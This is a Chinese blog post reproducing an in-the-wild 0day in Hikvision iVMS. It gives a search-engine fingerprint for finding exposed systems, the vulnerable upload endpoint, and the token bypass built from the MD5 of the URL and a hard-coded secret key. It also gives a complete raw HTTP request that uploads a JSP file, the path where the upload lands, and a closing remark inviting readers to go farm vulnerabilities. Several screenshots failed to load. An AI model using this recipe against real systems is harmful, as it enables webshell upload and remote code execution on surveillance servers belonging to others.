海康威视iVMS系统在野 0day漏洞复现

Fa1hai1

已于 2023-05-26 11:59:55 修改

阅读量2.1k

点赞数 5

文章标签： web安全安全

于 2023-05-26 11:09:12 首次发布

本文链接：https://blog.csdn.net/m0_46371267/article/details/130882819

版权

漏洞概述

简介：海康威视iVMS系统存在在野 0day 漏洞，攻击者通过获取密钥任意构造token，请求/resourceOperations/upload接口任意上传文件，导致获取服务器webshell权限，同时可远程进行恶意代码执行。

hunter指纹

web.icon==“3670cbb1369332b296ce44a94b7dd685”

漏洞复现

漏洞url：/eps/api/resourceOperations/upload
检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8dWQYCDE-1685070423570)(D:\桌面\day\image-20230525201837124.png)]$

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2DlFd9sb-1685070423571)(D:\桌面\day\image-20230525202141120.png)]$

可以看到需要token，这俩token需要用url+secretkey的md5值进行绕过

http://url/eps/api/resourceOperations/uploadsecretKeyIbuilding

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwquC35f-1685070423571)(D:\桌面\day\image-20230525202257753.png)]$

进行上传

POST /eps/api/resourceOperations/upload?token=Token值 HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Cookie: ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169
Content-Length: 179
Content-Type: multipart/form-data; boundary=f7d1250b2d43db9324c19e1073573ce6

–f7d1250b2d43db9324c19e1073573ce6
Content-Disposition: form-data; name=“fileUploader”; filename=“1.jsp”
Content-Type: image/jpeg

test
–f7d1250b2d43db9324c19e1073573ce6–

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xP831n4H-1685070423571)(D:\桌面\day\image-20230525202502872.png)]$

访问路径http://url/eps/upload/uid.jsp

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EStTtkST-1685070423572)(D:\桌面\day\image-20230525202547005.png)]$

然后就可以愉快的刷洞了

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ujRVhzzx-1685070423572)(D:\桌面\day\image-20230525202646095.png)]$
更为详细链接为：https://blog.csdn.net/qq_41904294/article/details/130807691

Fa1hai1

关注

5
点赞
踩
2

收藏

觉得还不错? 一键收藏
3
评论
海康威视iVMS系统在野 0day漏洞复现

简介：海康威视iVMS系统存在在野 0day 漏洞，攻击者通过获取密钥任意构造token，请求/resourceOperations/upload接口任意上传文件，导致获取服务器webshell权限，同时可远程进行恶意代码执行。
复制链接

扫一扫